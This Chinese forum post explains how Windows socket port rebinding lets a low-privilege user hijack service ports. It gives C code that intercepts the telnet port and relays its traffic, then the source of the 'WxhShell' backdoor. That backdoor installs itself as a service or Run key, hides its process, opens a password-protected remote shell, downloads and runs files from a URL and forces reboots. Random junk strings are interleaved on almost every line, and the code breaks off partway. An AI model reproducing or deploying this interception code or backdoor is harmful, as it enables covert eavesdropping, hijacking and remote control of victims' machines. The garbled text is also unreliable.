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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mfg{% .1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '%l<33*  
fu"#C}{  
  saddr.sin_family = AF_INET; I?EtU/AD  
Pur~Rz\ \  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <`+U B<K  
/*B-y$WQk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3g0[( ;  
`og 3P:y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zu,rf9LMj  
1#gveHm]-G  
  这意味着什么?意味着可以进行如下的攻击: 'K"V{  
-1DQO|q#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {OXKXRCa  
M]vc W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .m9s+D]fI  
L$=6R3GI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +.! F]0ju  
#kR8v[Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8rx?mX,}  
,-rOfk\u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5k)/SAU0  
a;r,*zZ="  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jhr: QS/9  
[D=ba=r0X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j(AN] g:  
" ;8H;U`  
  #include iOYC1QFi?  
  #include mG*[5?=r  
  #include F\^9=}b_i  
  #include    ifHQ2Ug 9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #/=s74.b  
  int main() V\5ZRLawP  
  { @A GM=v  
  WORD wVersionRequested; *I:^g  
  DWORD ret; \Z{6j&;  
  WSADATA wsaData; \7 n ;c   
  BOOL val; [AstD9  
  SOCKADDR_IN saddr; =aX;-  
  SOCKADDR_IN scaddr; z/dpnGX  
  int err; VJ8cls<  
  SOCKET s; lyc ]E 9  
  SOCKET sc; [K1RP.  
  int caddsize; +*Y/+.4WE$  
  HANDLE mt; F=?0:2P0bD  
  DWORD tid;   IH(]RHTp%  
  wVersionRequested = MAKEWORD( 2, 2 ); 4^/MDM@  
  err = WSAStartup( wVersionRequested, &wsaData ); F%Oy4*4  
  if ( err != 0 ) { yr8 b?m.x  
  printf("error!WSAStartup failed!\n"); ]q~ _  
  return -1; G6]W'Kk  
  } !VBl/ aU@  
  saddr.sin_family = AF_INET; X,DG2HT  
   7jPPN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f*)8bZDD  
>r J9^rS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (v+nn1,  
  saddr.sin_port = htons(23); U.g7'`Z<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tk\?$n  
  { MKMWHGN  
  printf("error!socket failed!\n"); BC.~wNz6  
  return -1; G0 *>S`:4  
  } |h}/#qhR  
  val = TRUE; ]06orBV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 uJhB>/Og  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) " iAwD8-  
  { 4BF \- lq~  
  printf("error!setsockopt failed!\n"); L+VqTt  
  return -1; W/e6O??O  
  } \JjZ _R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G(joamfM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O1]L4V1iH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1X. E:  
QfPsF@+-`7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k;BXt:jDq  
  { Z'=:Bo{  
  ret=GetLastError(); r Z)?uqa  
  printf("error!bind failed!\n"); m/TjXA8_  
  return -1; e x" E50  
  } L{PH8Xl_  
  listen(s,2); IP<]a5  
  while(1) >(T)9fKF  
  { &gGh%:`B  
  caddsize = sizeof(scaddr); ^phgNzD  
  //接受连接请求 N(ov.l;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iwM$U( 9  
  if(sc!=INVALID_SOCKET) :]]#X ~J  
  { `hpX97v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); olLVT<  
  if(mt==NULL) my1FW,3  
  { f%ThS42  
  printf("Thread Creat Failed!\n"); ~| CWy  
  break; WK$d<:"  
  } nLvF^%P8  
  } I!-"SuBy4J  
  CloseHandle(mt); ut/3?E1 Z  
  } EjY8g@M;t  
  closesocket(s); ECW=865jL  
  WSACleanup(); WZh%iuI{C  
  return 0; D_s0)|j$cy  
  }   >G#SfE$0  
  DWORD WINAPI ClientThread(LPVOID lpParam) WlJ=X$  
  { r~2>_LK  
  SOCKET ss = (SOCKET)lpParam; k4i*80  
  SOCKET sc; o*5iHa(Qm  
  unsigned char buf[4096]; xOY %14%Y  
  SOCKADDR_IN saddr; d1]1bN4`"0  
  long num; mc FSWmq  
  DWORD val; p<[gzmU9\b  
  DWORD ret; E^K<b7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PPpq"c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B r`a;y T  
  saddr.sin_family = AF_INET; (D5sJ$&E@\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h&|PHI  
  saddr.sin_port = htons(23); Mn> /\e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a%g|E'\Jw  
  { (i2R1HCa  
  printf("error!socket failed!\n"); uE'O}Y95  
  return -1; _ZMAlC*$G  
  } >(.GIR  
  val = 100; e #!YdXSx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C srxi'Pe  
  { NpPuh9e{  
  ret = GetLastError(); a*kvU"]  
  return -1; `AcUxnO  
  } #];b+ T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ga$J7 R  
  { NB^+Hcb$  
  ret = GetLastError(); ojva~mnFf  
  return -1; +`RQ ^9  
  } 3u,CI!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _Jt  
  { ?zP/i(1y  
  printf("error!socket connect failed!\n"); xCTPsw]s  
  closesocket(sc); -xVp}RLT  
  closesocket(ss); -Z(='A  
  return -1; rGDx9KR4K!  
  } :HiAjaA1pg  
  while(1) 14DHU  
  { 5Q$.q &,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iZ( U]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a +$'ULK+r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |O';$a1S  
  num = recv(ss,buf,4096,0); >.=v*\P  
  if(num>0) sF4+(9=  
  send(sc,buf,num,0); U0J_ 3W  
  else if(num==0) 1OI/,y8}  
  break; d8C44q+ds  
  num = recv(sc,buf,4096,0); ^!v{ >3  
  if(num>0) ZZ*+Tl\ s  
  send(ss,buf,num,0); Q1[3C(  
  else if(num==0) qP k`e}D  
  break; ASU.VY  
  } BB9+d"Sq  
  closesocket(ss); ud grZ/w]  
  closesocket(sc); \?_M_5Nb  
  return 0 ; QWQJSz5  
  } umo<9Y  
eYQPK?jo  
7cQFH@SC  
========================================================== [C^&iLX/F*  
% |^V)  
下边附上一个代码,,WXhSHELL pf8M0,AY  
.+ d.~jHX  
========================================================== E#zLm  
eHl)/='  
#include "stdafx.h" 4 \Ig<C9  
q]2t3aY%  
#include <stdio.h> S HxD(6  
#include <string.h> 1DR ih>+#  
#include <windows.h> kMx^L;:n  
#include <winsock2.h> @>Bgld&vl  
#include <winsvc.h> dTrz7ayH  
#include <urlmon.h> [,0[\NC  
xf4CM,Z7(  
#pragma comment (lib, "Ws2_32.lib") =THRy ZCH  
#pragma comment (lib, "urlmon.lib") 1=L5=uz1d:  
MUW&m2  
#define MAX_USER   100 // 最大客户端连接数 r "uQ|  
#define BUF_SOCK   200 // sock buffer IY"+hHt  
#define KEY_BUFF   255 // 输入 buffer  MU>6s`6O  
E=# O|[=  
#define REBOOT     0   // 重启 = 9!|%j  
#define SHUTDOWN   1   // 关机 k-!Jww  
zI.%b7wq  
#define DEF_PORT   5000 // 监听端口 e.VQ!)>  
B{tROuN<  
#define REG_LEN     16   // 注册表键长度 f`K[oCfu  
#define SVC_LEN     80   // NT服务名长度 <Toy8-kj  
OB4nE}NO  
// 从dll定义API q@&6&cd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -T=sY/O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {2.zzev'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OK" fFv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?1.W F}X'  
 7CwQmVe+  
// wxhshell配置信息 Ib(G!oO:E-  
struct WSCFG { 92(P~Sdv  
  int ws_port;         // 监听端口 n@$("p  
  char ws_passstr[REG_LEN]; // 口令 ^xX1G _{  
  int ws_autoins;       // 安装标记, 1=yes 0=no N;` jz(r  
  char ws_regname[REG_LEN]; // 注册表键名 U ATF}x   
  char ws_svcname[REG_LEN]; // 服务名 -P:o ^_)g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eA_]%7+`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @%"r69\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LsxRK5   
int ws_downexe;       // 下载执行标记, 1=yes 0=no BZOB\Ym  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L_sDbAT~<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7e:eL5f>~  
E_ D0Nm%n  
}; m*'hHt n  
uk9!rE"  
// default Wxhshell configuration 7 -S?U~s  
struct WSCFG wscfg={DEF_PORT, %Y-5L;MI  
    "xuhuanlingzhe", e'A 1%g)  
    1, HChlkj'7w0  
    "Wxhshell", d6e$'w@(\T  
    "Wxhshell", aQ*?L l  
            "WxhShell Service", ?0tm{qP  
    "Wrsky Windows CmdShell Service", y>>)Yo&|  
    "Please Input Your Password: ", *cP(3n3]R  
  1, Aa+<4 R  
  "http://www.wrsky.com/wxhshell.exe", kx,3[qe'S  
  "Wxhshell.exe" 37 b6w6{D  
    }; 5t,X;  
VDFs.;:s  
// 消息定义模块 @TJ2 |_s6]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8?N![D\@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QlMv_|`9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WH_ W:  
char *msg_ws_ext="\n\rExit."; i ?%_P u  
char *msg_ws_end="\n\rQuit."; &Jd_@F#J  
char *msg_ws_boot="\n\rReboot..."; dUL*~%2I  
char *msg_ws_poff="\n\rShutdown..."; FQ>y2n=<d  
char *msg_ws_down="\n\rSave to "; 3b?8<*  
?sv[vR(  
char *msg_ws_err="\n\rErr!"; .hRtQU  
char *msg_ws_ok="\n\rOK!"; Dkg^B@5Xr  
9aBz%* xo  
char ExeFile[MAX_PATH]; w>e+UW25Y  
int nUser = 0; NG8 F'=<  
HANDLE handles[MAX_USER]; b}&.IJ&40j  
int OsIsNt; /@64xrvIl=  
!u;gGgQF  
SERVICE_STATUS       serviceStatus; MZ?+I~@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TVF:z_M9  
hmB`+?,z*  
// 函数声明 @<3kj R?j  
int Install(void); }wZsM[NDB  
int Uninstall(void); :JU$ 6  
int DownloadFile(char *sURL, SOCKET wsh); ; +1ooeU  
int Boot(int flag); Z*n4$?%W  
void HideProc(void); -/:!AxIH  
int GetOsVer(void); NiYT%K%  
int Wxhshell(SOCKET wsl); 5<M$ XT  
void TalkWithClient(void *cs); +;,X?E]g  
int CmdShell(SOCKET sock); %\L{Ud%7  
int StartFromService(void); 5+2qx)FZ  
int StartWxhshell(LPSTR lpCmdLine); :F_>`{  
- "EPU]q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j\HZ5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #^tnRfS"  
%]1te*_  
// 数据结构和表定义 t&i4kS^y  
SERVICE_TABLE_ENTRY DispatchTable[] = |\xTcS|d  
{ >a bp se  
{wscfg.ws_svcname, NTServiceMain}, w"O{@2B3:H  
{NULL, NULL} ^{YK'60  
}; {v"Y!/ [z  
Jn%Etz-  
// 自我安装 e8M0Lz#}  
int Install(void) 8JXS:J.|v  
{ #qARcxbK|  
  char svExeFile[MAX_PATH]; i91k0q*di  
  HKEY key; TR%8O;  
  strcpy(svExeFile,ExeFile); 7m%[$X`  
BMtk/r/  
// 如果是win9x系统,修改注册表设为自启动 &dPI<HlM  
if(!OsIsNt) { N85ZbmU~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FNs$k=* 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _S,UpR~2W  
  RegCloseKey(key); Gx*B(t]4y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 }3C*w+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8|nc( $}~  
  RegCloseKey(key); x`Wb9[u8  
  return 0; &Ez+4.srkh  
    } Q!r&vQ/g  
  } `(/xj{"Fr}  
} pgs<Mo$\%B  
else { T7-yZSw -m  
@yj~5Gf(j  
// 如果是NT以上系统,安装为系统服务 SW5n?Qj3-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >[&ser  
if (schSCManager!=0) d)0|Q  
{ )%<,JD  
  SC_HANDLE schService = CreateService gD;T"^S+  
  ( bM2x (E\O  
  schSCManager, 7{]L{j-  
  wscfg.ws_svcname, MEM(uBYKOb  
  wscfg.ws_svcdisp, fCZ"0P3(  
  SERVICE_ALL_ACCESS, ,J=lHj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l;$FR4}d  
  SERVICE_AUTO_START, =q>lP+  
  SERVICE_ERROR_NORMAL, ,M:[GuXD<  
  svExeFile, NV==[$(r  
  NULL, Uw| -d[!  
  NULL, FAdTp.   
  NULL, o+L [o_er  
  NULL, m2&Vm~Py6b  
  NULL ^Nu j/  
  ); "3'a.b akw  
  if (schService!=0) J*_^~t  
  { S<jiy<|`  
  CloseServiceHandle(schService); i'10qWz  
  CloseServiceHandle(schSCManager); KdD~;Ap$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {c~w Ms#  
  strcat(svExeFile,wscfg.ws_svcname); _~ 'MQ`P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H?FiZy*[Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s8 u`v1  
  RegCloseKey(key); tvBLfqIr  
  return 0; =*{7G*tS  
    } C+>mehDC_G  
  } s8'!1rHd  
  CloseServiceHandle(schSCManager); R;fev 1mE  
} WYP\J1sy  
} JpZ_cb`<E'  
}{kn/m/  
return 1; :S}ZF$ $j%  
} C,%Dp0  
Anqt:(  
// 自我卸载 5j\Kej  
int Uninstall(void)  E(wS6  
{ Vk2%yw>  
  HKEY key; @4KKm@(p85  
w `+.F;}s  
if(!OsIsNt) { -x:7K\=$SX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,%qP   
  RegDeleteValue(key,wscfg.ws_regname); e z_c;  
  RegCloseKey(key); $5\!ws<cZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! &cfX/y8  
  RegDeleteValue(key,wscfg.ws_regname); [k75+#'  
  RegCloseKey(key); =M9R~J!  
  return 0; 0l/7JH_@V  
  } ? * r  
} EQk omjv  
} -0BxZ AW=  
else { Q&lb]U+\u  
_zzT[}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .t9`e=%  
if (schSCManager!=0) 2Dt^W.!  
{ N"tX K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  DZ4gp  
  if (schService!=0) 9Y2.ob!$}  
  { D=Nt 0y  
  if(DeleteService(schService)!=0) { .mg0L\  
  CloseServiceHandle(schService); P)XR9&o':  
  CloseServiceHandle(schSCManager); S4c-i2Rq  
  return 0; /|#2ehE  
  } ?"T!<L  
  CloseServiceHandle(schService); hN*v|LFf1  
  } _|4QrZ$n(  
  CloseServiceHandle(schSCManager); f="ZplW  
} E{QjmlXQ<  
} +]GP"yv-  
q2OF-.rE  
return 1; }}u`*&,g  
} &;W K=#  
lxbC 7?O  
// 从指定url下载文件 M+^ NF\  
int DownloadFile(char *sURL, SOCKET wsh) 8zcS h/  
{ f`K#=_Kq7  
  HRESULT hr; `:R9M+ OX  
char seps[]= "/"; ,_/\pX0  
char *token; O2yD{i#l*#  
char *file; wDSwcNS  
char myURL[MAX_PATH]; 2yD ?f8P4  
char myFILE[MAX_PATH]; DZLEx{cm  
?R4u>AHS@  
strcpy(myURL,sURL); ,\1Rf.  
  token=strtok(myURL,seps); N)a5~<fBG  
  while(token!=NULL) {?++T 0  
  { KY0<N 9{  
    file=token; &U CtyCz  
  token=strtok(NULL,seps); n5efHJU  
  } {5HQ=&  
g z uWhQo  
GetCurrentDirectory(MAX_PATH,myFILE); "pcr-?L  
strcat(myFILE, "\\"); :8hXkQ  
strcat(myFILE, file); &j/,8 Z*  
  send(wsh,myFILE,strlen(myFILE),0); &~x|w6M]J  
send(wsh,"...",3,0); xRO9o3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Snn4RB<(  
  if(hr==S_OK) 3u 7A(  
return 0; j|qdf3^f  
else @3 +   
return 1; q4'`qe  
??|,wIRz  
} A[`c+&  
,1-idpnX  
// 系统电源模块 x9 t %  
int Boot(int flag) \d:Uq5d)0  
{ =Lb(N61  
  HANDLE hToken; /UY'E<wBx  
  TOKEN_PRIVILEGES tkp; BT^=p  
V\Y, 4&bI  
  if(OsIsNt) { UF\k0oLz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %F$ ]v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h/y0Q~|/d  
    tkp.PrivilegeCount = 1; {w,<igh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7|bBC+;(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aI}htb{m`  
if(flag==REBOOT) { 4x=sJ%E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ 5>W`vwp  
  return 0; qI tbY%  
} R%t|R7 9I  
else { /qq*"R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |%rRALIY  
  return 0; u*oP:!s  
} EG_P^ <z  
  } KV'3\`v@LY  
  else { .m%5Esx  
if(flag==REBOOT) { +# !?+'A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BLt_(S?Z`  
  return 0; ^vzXT>t-M  
} [Z;H= `  
else { jaVx9FR +  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U[q39FR  
  return 0; :xO43z  
} T :^OW5d  
} :RYYjmG5;  
/?|;f2tbV2  
return 1; vS:=%@c>ta  
} R!\._m?\h  
kFT*So`'  
// win9x进程隐藏模块 zxd<Cq>d  
void HideProc(void) unnuSW#v=  
{ vDR> Q&/K  
hh.`Yu L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LW/> %  
  if ( hKernel != NULL ) ' ~z`kah  
  { 1-<?EOYaE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !wKNYe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jd "YaZOQ  
    FreeLibrary(hKernel); :; La V  
  } !>+m46A  
m1tc="j  
return; dDA&\BuS  
} DGz}d,ie  
D.a\O9q"&{  
// 获取操作系统版本 <iH"5DEe  
int GetOsVer(void) CHL5@gg@>y  
{ eSW}H_3  
  OSVERSIONINFO winfo; (9] =;)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $%ztP Ta  
  GetVersionEx(&winfo); D*_. 4I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uMZ<i}  
  return 1; qA25P<  
  else - s{&_]A~  
  return 0; |y?W#xb  
} 1p SEr6  
 ZLf(m35  
// 客户端句柄模块 O\@0o|NM  
int Wxhshell(SOCKET wsl) b=L|GV@$  
{ n^|7ycB'  
  SOCKET wsh; uhwCC  
  struct sockaddr_in client; /CbM-jf  
  DWORD myID; [?]p I  
 z}*L*Sk  
  while(nUser<MAX_USER) mhs%8OTN  
{ u2U+uD@yA  
  int nSize=sizeof(client); O"RIY3m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /$FpceB!W  
  if(wsh==INVALID_SOCKET) return 1; "Gq%^^ *  
:&RpB^]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I Vw'YtZ  
if(handles[nUser]==0) wc}4:~  
  closesocket(wsh); <c [X^8   
else k4"O} jQO  
  nUser++; FuFICF7+C  
  } Rp}Sm,w(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q[aBxy (  
_Pl5?5eZj  
  return 0; M=EV^Tw-=  
} Of<Vr.m{R  
A2`Xh#o  
// 关闭 socket <bywi2]z  
void CloseIt(SOCKET wsh) -t125)6I  
{ 99b"WH^3$y  
closesocket(wsh); Bv6~!p  
nUser--; C}:_&^DQ  
ExitThread(0); nfE4rIE4  
} >[P`$XkXd4  
`mN5sq  
// 客户端请求句柄 >kDkvg1"  
void TalkWithClient(void *cs) Cv]$w(k  
{ U/\LOIs  
N'%l/  
  SOCKET wsh=(SOCKET)cs; $n::w c  
  char pwd[SVC_LEN]; &>}f\ch/  
  char cmd[KEY_BUFF]; zogl2e+  
char chr[1]; Y1{*AV6ev6  
int i,j; eTY(~J#'  
] ; B`'Ia  
  while (nUser < MAX_USER) { M-C>I;a  
#ePtfRzJ  
if(wscfg.ws_passstr) { A_5M\iN\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); okbW.  ~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [R/'hH5  
  //ZeroMemory(pwd,KEY_BUFF); !XF:.|  
      i=0; g'.(te |  
  while(i<SVC_LEN) { -&np/tEu&  
nYnv.5  
  // 设置超时 (;++a9GK  
  fd_set FdRead; q]P$NeEiZ"  
  struct timeval TimeOut; 4ZT0~37(  
  FD_ZERO(&FdRead); *k;%H'2g{}  
  FD_SET(wsh,&FdRead); QU)AgF[  
  TimeOut.tv_sec=8; $#J  
  TimeOut.tv_usec=0; @$o^(my  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ygqWy1C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y,$zSPJCi  
iE"+-z\U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Tf,G[z&ge  
  pwd=chr[0]; 7KV0g1GQ  
  if(chr[0]==0xd || chr[0]==0xa) { VyOpPIP  
  pwd=0; 6" GHVFB  
  break; tI+P&L"  
  } I@I-QiI  
  i++; -1]8f  
    } |6Qn/N$+f  
b./MVz  
  // 如果是非法用户,关闭 socket ~J|B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KU87WpjX  
} EN@<z;  
e>b|13X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "jP{m; p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =XZd_v  
?.69nN  
while(1) { c(lG_"q6  
vC-5_pl  
  ZeroMemory(cmd,KEY_BUFF); %d#j%=  
*|3G"B{w6  
      // 自动支持客户端 telnet标准   w(!COu  
  j=0; * o#P)H  
  while(j<KEY_BUFF) { [^\HP] *Q{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _4X3g%nXl  
  cmd[j]=chr[0];  I8  
  if(chr[0]==0xa || chr[0]==0xd) { H>|*D~RdT  
  cmd[j]=0; R9^R G-x  
  break; `:fh$V5J>  
  } N=TDywRI  
  j++; `SG8w_  
    } (L !#2Jy  
 *#sY-Gd  
  // 下载文件 T7ICXpe@  
  if(strstr(cmd,"http://")) { hixG/%aO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RH0J#6C/  
  if(DownloadFile(cmd,wsh)) <P pW.1w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &z;1Z  
  else }x?2txuu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^7V{nT@H3  
  }  7D\:i1~  
  else { !2]'S=Y  
})5I/   
    switch(cmd[0]) { 7tU=5@M9D  
   sf'+;  
  // 帮助 GvT ~zNd  
  case '?': { oNIt<T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IF <<6.tz  
    break; i-`J+8|d  
  } > ZKHjw  
  // 安装 V})b.\"F  
  case 'i': { K&TO8   
    if(Install()) +y9WJ   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ag0)> PD^  
    else &Q[|FO;[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .v_-V?7  
    break; 0yBiio  
    } j@Y'>3  
  // 卸载 CP6xyXOlPB  
  case 'r': { ^;.&=3N,+  
    if(Uninstall()) \EQCR[7qu7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]5:0.$5  
    else 8\$ u/(DX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m 9.BU2.  
    break; L IRdWGQ4  
    } Vae=Yg=fw  
  // 显示 wxhshell 所在路径 iJ!p9E*(  
  case 'p': { k/2TvEV3=  
    char svExeFile[MAX_PATH]; -=a,FDeR  
    strcpy(svExeFile,"\n\r"); nn{PhyK  
      strcat(svExeFile,ExeFile); Xx e07J~  
        send(wsh,svExeFile,strlen(svExeFile),0); 3 cF4xUIZ  
    break; !A&>Eeai  
    } @ACq:+/Q c  
  // 重启 zF#:Uc`C5U  
  case 'b': { SuFGIb7E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,!oR"b!  
    if(Boot(REBOOT)) Y3?)*kz%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XSe\@t~&g  
    else { &W$s-qf".  
    closesocket(wsh); &a?k1R>  
    ExitThread(0); GVUZn//  
    } +9R@cUr  
    break; bDT@E,cSi  
    } y.Y;<UGu  
  // 关机 3&KRG}5  
  case 'd': { wlw`%z-B2  
